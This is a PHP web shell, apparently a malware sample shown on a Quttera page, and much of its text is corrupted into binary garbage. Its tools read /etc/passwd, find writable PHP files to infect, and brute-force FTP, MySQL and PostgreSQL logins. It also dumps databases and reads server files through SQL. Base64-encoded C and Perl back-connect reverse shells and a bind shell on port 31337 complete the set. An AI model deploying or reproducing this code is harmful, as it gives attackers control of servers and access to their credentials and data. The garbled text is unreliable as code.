		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST&vrG'VRР%7F'BРb'&E5EwuG7G&uF2РV6E5Ewu҂E5Ew"uғРGFV&F7VVBvWDVVVD'Bw7G$WGWBr7GRF7rsF7VVBvWDVVVD'Bw7G$WGWBrW$Dr"FF766W2F7V66'2%vWE6Vₒ%%Eu""s#РV67G&VGFV%"GFVРWCРТbVGE5EvuҒbbVGE5Ewi)
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
	echo '<h1>String conversions</h1><div class=cofV>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input&VR&WGW&f6Ss&V6VV7BSw6VV7EFs#Рf&V6G7G&uF22FGbРV6#FfVSr"F7V66'2Gb"s"F#F#РV6#6VV7C&VƖWBGSw7V&֗BrfVSw7V&֗BrƖWBGS6V6&SfVS"E4UCRE4U%dU%tEE5BuҒvuv6V6VBsrr#6VBW6r'#FWF&VSvWBr7GSv&vFWr673&v&V"VGE5EwuғrsF7V66'2E5Ew"uҒ#FWF&Vf&&R673vr7GSr"VGE5EwuғvF7Ssrr&&vFWrCw7G$WGWBs#РbVGE5Ewi) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd&VRVF2FWBalue,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='submit'></td></tr>
			</table></form>";
	function hardRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $▟) {
				if(@is_dir($▟)){
					if($path!=$▟)
						hardRecursiveGlob($▟);
				} else {
					if(empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",f""W&V6FRN)i%"'fWu"%"s"F7V66'2N)i#'##РРРРРbE5Ew2uҐР&E&V7W'6fTv"E5Ev2uғРV6#Fc'#ƃ6V&6f"6Fb6736ecРf&WFCw7BrF&vWCu&rSvbsРƖWBGSwFWBrSv6r7GSwvGF33s'#ТƖWBGSvFFVrSv7BrfVSvfBr'#РƖWBGSw7V&֗BrfVSvCR&VFR6r6Ɩ6&F7VVBb7FvGGCR&VFR6rF7VVBb6fVRrg3CRsF7VVBb7V&֗B#РƖWB7GSv&vVgC#rGSw7V&֗BrfVSvCVFV7'FW"6r6Ɩ6&F7VVBb7FvGG3wwrCVFV7'FW"6sF7VVBb7V&֗B#'#Рf&Fc#Р&DfFW"ЧЦgV7F7F6fTFRРGFVrsР%7F'BР7vF6E5EwuҒР66RРGFVFV҂GFW7Bv7rРb6&6&W72Ɩ#"E5Ew"uGFVРV6fUvWE6FVG2GFVРVƖ沂GFVРV6PРV6u6''6wBVfRsР'&VР66R#РFfW2v"E5Ew"urrРb5'&FfW2Рf&V6FfW22FfVRРV6FfVR%#Р'&VР66R3РF67W&B&fS"E5Ew"u%ǃ"4TeDР7W&WV2F6Р'&VР66RCР&W7F&R'6fUFR"Р&W7F&R&V&6VF""Р6VFRE5Ew"uғР'&VР66RSРf"E5Ew"uE5Ew2uӲE5Ew"k+) {
				$uid = @posix_getpwuid($_POST['p2']);
				if ($uid)
					echo join(':',$uid)."\n";
			}
			break;
		case 6:
			if(!function_exists('imap_open'))break;
			$stream = imap_open($_POST['p2'], "", "");
			if ($stream == FALSE)
				break;
			echo imap_body($stream, 1);
			imap_close($stream);
			break;
	}
	$temp = ob_get_clean();
	hardHeader();
	echo '<h1>Safe mode bypass</h1><div class=cofVCsРV6s76&VBfR7f&7V&֗CvrVV#"F2&fVR&WGW&f6SsƖWB673'F4"GSFWBS&ƖWBGS7V&֗BfVS'7V&֗B#f&'#7v"Ɨ7BF"7f&7V&֗CvrVV#""F2&fVR&WGW&f6SsƖWB673'F4"GSFWBS&ƖWBGS7V&֗BfVS'7V&֗B#f&'#77W&&VBfR7f&7V&֗CvrVV#2"F2&fVR&WGW&f6SsƖWB673'F4"GSFWBS&ƖWBGS7V&֗BfVS'7V&֗B#f&'#7&W7F&R&VBfR7f&7V&֗CvrVV#B"F2&fVR&WGW&f6SsƖWB673'F4"GSFWBS&ƖWBGS7V&֗BfVS'7V&֗B#f&'#76vWGwVB%&VB"WF277vB7F&Sf&7V&֗CvrVll,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To<&CFCƖWBGSFWBS&"fVSFCG#F&SƖWBGS7V&֗BfVS'7V&֗B#f&'#'#7V&VBfR7f&ubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
	if($temp)
		echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
	echo '</div>';
	hardFooter();
}
function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die("<div align='center'><div class='coFW"sFb673w6sFb673wFWBsDRb%SFcFb673w7F'2sFcFb673w7F'3sFcFb673w7F'3"sFcFb673w6Fr7F'2sFcFcFcFcУ7GSFǶVvCWևF&GvGFSVvCS&vf-family:Nunito, sans-serif;}.container{display:block;position:relative;width:100%;height:100%;background:linear-gradiebF&GF3#r3##CbR6FW"ext{color:#fff;positio'6WFSFSS&vCSS&vsWf-size:20px;fobf֖ǓVF626W&cfBvVvCs6Fr7F'7֖FWvGFWVvCW&&FW"FVgB&FW3SS&&FW"F&vB&FW3SS6Fabsolute;bottom:0;right:0;background:linear-gradient(to top,rgba(255,255,255,0),#fff);animation:animShootingStar 10s linear infinite}@keyframes animStar{from{transform:translateY(0)vG&6f&translateY(-2560px) translateX(-2560px)}}@keyframes animShootingStar{from{transform:translateY(0) translateX(0) rotate(-45deg);opacity:1;height:5px}to{transform:translateY(-2560px) translateX(-2560px) rotate(-45deg);opacity:1;height:800px}}</style>
<footer id='det' style='position:fixed; left:0px; right:0px; botto&6w&VC&v"FWBƖzcenter; border-top: 1px solid #ff007e; border-bottom: 1px solid #ff007e'><font face='Century Gf2r6#r6fcCr6SsRsfB7GSvfB6SBrf6St6VGW'vF2sf face='Tahoma' color='#005aff' size='2.5'><font color='#ff007e'><b> ©opy®ight : </b></font>
<marquee scrollamfCs2r67&FVscrvGFsRs#&VcvGG3BRUte5D$Rstb7F&S#'VVSfCfCfCfer>");
}
function actim6Ve&VfRРbE5EwuwW2rРbVƖ沇&Vu&W6Rr…B•2rrrdU򒒐РFRu6V2&VV&VfVBrРV6PРV6wVƖW'&"sТbE5EwuwW2rТ&DVFW"РV6sƃ7V6FSFb6736ent>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	hardFooter();
}
function actionInfect() {
	hardHeader();
	echo '<h1>Infect</h1><div class=content>';
	if($_POST['p1&vfV7BrРGF&vWCE4U%dU%tD5TTE$BuӰРgV7FListFiles($dir) {
				if($dh = opendir($dir)) {
					$files = Array();
					$inner_files = Array();
					while($file = readdir($dh)) {
						if($file !=  && $file != "..") {
							if(is_dir($dir . "/" . $file)) {
								$inner_files = ListFiles($dir . "/" . $file);
								if(is_array($inner_files)) $files = array_merge($files, $inner_files);
							} else {
								array_push($files, $dir . "/" . $file);
							}
						}
					}
					closedir($dh);
					return $files;
				}
			}
			foreach (ListFiles($target) as $key=>$file){
				$nFile = substr($file, -4, 4);
				if($nFile == ".php" ){
					if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
						echo "$file<br>";
						$i++;
					}
				}
			}
			echo "<font color=#a10705 size=14>$i</font>";
		}else{
			echo "<form method=post><input type=submit value=Infect name=infet></form>";
			echo 'Really wabFfV7BFR6W'fW#f'7&Vc26Ɩ6&rVVvfV7Er#W3FcsРР&DfFW"ЧЦgV7F7F''WFVf&6RР&DVFW"Рb76WBE5Ew&o']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type&"РGFVfRE5EvF7BuғРb5'&GFVРf&V6GFV2FƖRРFƖRG&҂FƖRРFGFVG3Рb''WFTf&6RG6W'fW%G6W'fW%E5EvvuFƖRРG7V66W72РV6s#rF7V66'2E5EvvuҒs#rF7V66'2FƖRs'#sРРРРV6#7GFVG37FGFVG277V66W737G7V66W73Fc'##РРV6sƃeE''WFVf&6SFb6736FVCF&Sf&WFC7CG#FC7GS7FCpРsFC&V6VV7BS&FFfVSgGeEFFfVSsql>MySql</optioFfVSw77Fw&U7F</select></label></td></tr><tr><td><input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'"><input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'"><input type=hidden name=ne  value=""><span>Server:port</span></td><td><input type=text name=server value="127.0.0.1"></td></tr><tr><td><span>Brute type</span></td><td><input type=radio name=type value="1" checked> /etc/passwd</td></tr><tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr><tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr><tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td><td><input type6WBSvfVS'&B#FCG#pРsG#FC7F7F'7FCpРsFCƖWBGSFWBSF7BfVS"rF7V66'2Dt$5v7vBuҒw77vBF2#FCr></table></td></tr><tr><td></td><td><input type=submit value="submit"><&CG#f&F&SsРV6sFcsР&DfFW"ЧЦgV7F7F7‚Р672F$672Рf"GGSРf"FƖ泰Рf"G&W3РgV7F67G'V7BGGRРGF2GRGGSРРgV7Fconnect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @g76V7BF7BGW6W"G72G'VR&WGW&G'VSР'&VР66Rww7sРF7BWFRsrF7BРbF7EҒF7ESC3#РbGF2Ɩu6V7B&7CײF7E'CײF7EW6W#GW6W"77v&CG72F&SFF&R"&WGW&G'VSР'&VРР&WGW&f6SРРgV7F6VV7FF"FF"Р7vF6GF2ype)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_V&w2gV5vWE&rGF2&W3Р7vF6GF2GRР66Rvח7sР&WGW&ח7fWF6762G&W2Р'&VР66Rww7sР&WGW&ufWF6762G&W2Р'&VРР&WGW&f6SРРgV7FƗ7DF'2Р7vF6GF2GRР66Rvsql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this-7RР66Rvח7sР&WGW&GF2&W2GF2VW'u4rD$U2rР'&VР66Rww7sР&WGW&GF2&W2GF2VW''6VV7BF&URg&f&F66VF&W2vW&RF&U66Vvf&F66VrBF&U66Vwu6Frr"Р'&VРР&WGW&f6SРРgV7FW'&"Р7vF6GF2GRР66Rvח7sР&WGW&ח7W'&"Р'&VР66Rww7sР&WGW&u7EW'&"Р'&VРР&WGW&f6SРРgV7F6WD6'6WBG7G"Р7vF6GF2GRР66Rvח7sРbgV7FW7G2vח76WE6'6WBrР&WGW&sql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case '7sР&WGW&GF2fWF6GF2VW'%4TT5BEdRr"FG66W2G7G""r2fR"Р'&VР66Rww7sРGF2VW'$5$TDRD$R&C"fRFWB4&C"e$r"FG66W2G7G""s6VV7BfRg&&C#"РG#'&РvRFGF2fWF6РG%FvfRuӰРGF2VW'vG&F&R&C"rР&WGW&'&vfRsFR%"G"Р'&VРР&WGW&f6SРРgV7FGVGF&RFgf6RР7vF6GF2GRР66Rvח7sРG&W2GF2VW'u4r5$TDRD$RrGF&RvrРF7&VFRח7fWF6'&G&W2РG7F7&VFU##ТbFggw&FRFgG7“V6RV6G7“РGF2VW'u4TT5Be$`'.$table.'`');
                    $i = 0;
                    $head = true;
					while($▟ = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";\n\n";
                        }
						$columns = array();
						foreach($▟ as $k=>$v) {
                            if($v === null)
                                $▟[$k] = "NULL";
                            elseif(is_int($v))
                                $▟[$jGcТV6PТN)iF"r"ח7&VW66U7G&rGb"r#РF6V5&"F&#РТbFVBТG7t4U%BDrGF&RvrFR""F6V2"dTU2B"FR""N)irsТFVBf6SТV6PТG7%B‚"FR""N)irsТbFggw&FRFgG7“V6RV6G7“ТFРТbFVBТbFggw&FRFg#"V6RV6#"Р'&VР66Rww7sРGF2VW'u4TT5Be$rGF&RРvRN)iGF2fWF6РF6V2'&Рf&V6N)i2FGbРN)iF"r"FG66W2Gb"r#РF6V5FРТG7t4U%BDrGF&RrrFR""F6V2rdTU2rFR""N)irr%#ТbFggw&FRFgG7“V6RV6G7“РР'&VРР&WGW&f6SРРӰРFF"WrF$672E5EwGRuғРbE5Ew"uvFload') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-DispositiobGF6VCfVSGV7"ТVFW"$6FVBGSFWB"Тf&V6E5EwF&u2GbРFF"GVGbТWCТV6VbFgfVE5EvfRuwrrТf&V6E5EwF&u2GbТFF"GVGbFgТf66RFgТV6WBE5Ew"uғТV6PТFRs67&CW'B$W'&"6wBVfR"vFr憗7F'&667&CrРР&DVFW"РV6 Уƃ7'&w6W#Fb6736FVCУf&Sw6brWFCw7Br7V&֗Cvg2F2sF&R6VFFss"r6V76sssG#УFCGSFCFC7CFCFCvFCFC77v&CFCFCFF&6SFCFCFCG#G#УƖWBGSֆFFVSRfVSrsƖWBGSֆFFVSfVS7ƖWBGSֆFFVSfVSwVW'sƖWBGSֆFFVS"fVSrsƖWBGSֆFFVS2fVSr"F7V66'2Dt$5v7vBi ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><label><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></label></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required><&CFC#РGF#ƖWBGSFWBS7&6RfVSrs#Рb76WBE5Ew77BuҒРbFF"6V7BE5Ew77BuE5Ew7vuE5Ew772uE5Ew7&6RuҒР7vF6E5Ev6'6WBuҒР66R%vFw2#S#FF"6WD6'6WBv7#Sr'&VР66R%UDbӂ#FF"6WD6'6WBwWFcr'&VР66R$"#FF"6WD6'6WBv"r'&VР66R$R#FF"6WD6'6WBvRr'&VР66R&7cb#FF"6WD6'6WBv7cbr'&VРРFF"Ɨ7DF'2РV6#&V6VV7BS7&6SFfVSrsF#РvRN)iFF"fWF6РƗ7BFWGfVRV6N)iРV6sFfVS"rGfVRr"rGfVSE5Ew7&6R'selected':'').'>'.$value.'</option>';
			}
			echo '</select></label>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='submit' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_cfBuғrsr6V6VBr#6VBFRV&W"b&w3FCРG#РF&SР67&CТ5F#r"FG66W2E5Ew7&6RuҒ"sТgV7Fg2bТbb7&6RfVR5F"b7V&֗BgV7FₒӰТbbbfVSrsТbb"b"fVSrsТbb2b2fVSrsТТРgV7F7BB’РB6bfVRw6VV7BsРB6b"fVRCТbbbB6b2B6b2fVRðРB6b7V&֗BРРgV7F2Рf"B6bVVVs['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($▟ = $db->fetch($tbls_res)) {
					list($key, $value) = each($▟);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1&w6VV7BrРE5EwuwVW'sТE5Ew2uE5Ew2uE5Ew2uӣРFF"VW'u4TT5B4TB2e$rE5Ew"i;
					$num = $db->fetch();
					$pages = ceil($num[&u3ТV6#67&CB6b7V&֗CgV7Fₗ7B""E5Ew"u%"B6b2fVR67&C7"E5Ew"u#7FVղvu&V6&G2vR2ƖWBGSFWBSw2rfVS"BE5Ew2uҒ##ТV6"bGvW2#ТbE5Ew2uТV6"&Vc26Ɩ6w7B""E5Ew"ur"rE5Ew2u"sfC&Wc#ТbE5Ew2uGvW2ТV6"&Vc26Ɩ6w7B""E5Ew"ur"rE5Ew2uҳ"sWBfwC#ТE5Ew2uӰРbE5EwGRuww7rРE5Ew"uu4TT5Be$rE5Ew"urĔԕB3de4UBrE5Ew2uң3РV6PРE5Ew"uu4TT5Be$rE5Ew"uvĔԕBrE5Ew2uң3r3sРV6#'#'##РРbE5EwuwVW'rbbVGE5Ew"uҒРFF"VW'E5Ew"uғРbFF"&W2f6RРGFFRf6SРV6sF&RvGFR6V76s6VFFs"673sРFƖRРvRN)iFF"fWF6РbGFFRРV6sG#sРf&V6N)i2FWGfVRРV6sFrFWsh>';
								reset($▟);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($▟ as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2&VSF2VW'fVSF7VV.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	hardFooter();
}
functin7FWGv&Р&DVFW"РF&66V7E3$&U'uVuvdrEsV$f436Ǥ4e'FD3Vs&U'uVusVDvUfsGVCD6VD4'EvTvVD4&$jLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsN@V35&%6v$&4F670KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMp7wtG46t4t4ugihjLDApOw0KICAgICAgICBkdXAyKG46tEt4t4tu#4DwG46t4t4vC4DuVvTtg36Gf6dsTG46t4t4v6f6Ą63&esԴG46t4t4uӗvGG6׆&tGG7Et4t4t4t4'vt&&cuCtTvdvt&&cuCtt4t4t4t4t4t&&cu4D0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCh6t4t4t4tV35&%6v$&4F4s4t4t4&$s6G46t4#E#РF&E'E$WfE$&u4ESeDWssGf3&vtvsutT$%VEtGvt6vW&TvDW#E3%VuS#%cs3#%cd4$u%e4FeS%5%TdvFD'#5'eUsĴ6C46vdvuvĔ4EsSt略tc4'#$%&6&tE'#$&#4#d5SՃDed7EC5%eeE%TdU$d46tEsVd63#$ffsFTe5#$c55ST%$U%5du6u'4$gVD4'f4ugT'f6&6&tE6sFWw4#d4&uVt&v$vǦDugT'f6&6&tE6v56w4#tEt楥#TFG5WtEu6v4vƵuf674#tE5u'4$gV&ӓuf66vԔ6vufsVŤ44vƴG46v#4&&%EdU$Fv5ECT46v#4&&%EdU%ee4FFtE5susFuS$U%d44FFs5Tuf5%E4UdD4#d4&uVv4&uF$gVD4&TufE&Ĕ5%E4UdDgT46v'f3%VuF46vD4ts56#РV6#ƃWGv&F3Fb6736FVCРf&Sfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
	</form>
	<form name=&gr7V&֗CvrVVF2W6rfVRF26W'fW"fVRF2'BfVR&WGW&f6SsР7&66V7BF7'"Р6W'fW#ƖWBGSwFWBrSw6W'fW"rfVS"E4U%dU%u$TDUDE"u#'CƖWBGSwFWBrSw'BrfVSs333rsW6s&V6VV7BSwW6rsFfVSv&62s3FFfVSv&7sW&F6VV7C&VƖWBGS7V&֗BfVSw7V&֗BsРf&'##Рb76WBE5EwuҒРgV7F6bFbGBРGsfVFb'r""gV7FW7G2vfUWE6FVG2rРbGrРgw&FRGr&6ScEFV6FRGB"gWG2Gr&6ScEFV6FRGB"fUWE6FVG2Fb&6ScEFV6FRGBРf66RGrРРРbE5Ewuv'2rР6b"F'2"F&E'E2РN)ibW&v62F'F'2"РVƖ沂"F'2"РN)ibW"F'"E5Ew"u""E5Ew2u"b"РV6#&R673N)ib"W'2Ww&W'"#&S#РРbE5Ewuv'rР6b"F'"F&E'EРN)ibWv6'W&""F'"E5Ew"u"b"РV6#&R673N)ib"W'2Ww&W'"#&S#РРbE5Ewuv&62rР6b"F&22"F&66V7E2РN)ibW&v62F&2F&22"РVƖ沂"F&22"РN)ibW"F&2"E5Ew"u""E5Ew2u"b"РV6#&R673N)ib"W'2Ww&W&2"#&S#РРbE5Ewuv&7rР6b"F&2"F&66V7EРN)ibWv6'W&""F&2"E5Ew"u""E5Ew2u"b"РV6#&R673N)ib"W'2Ww&W&2"#&S#РРРV6sFcsР&DfFW"ЧЦbVGE5EvuҒРb76WBN)ibbgV7FW7G2v7FrN)iРE5EvuN)iРV6PРE5EvutfW4sЦbVGE5EvuҒbbgV7FW7G2v7FrE5EvuҒР6W6W%gV2v7F . $_POST['a']);
 



© 2023 Quttera Ltd. All rights reserved.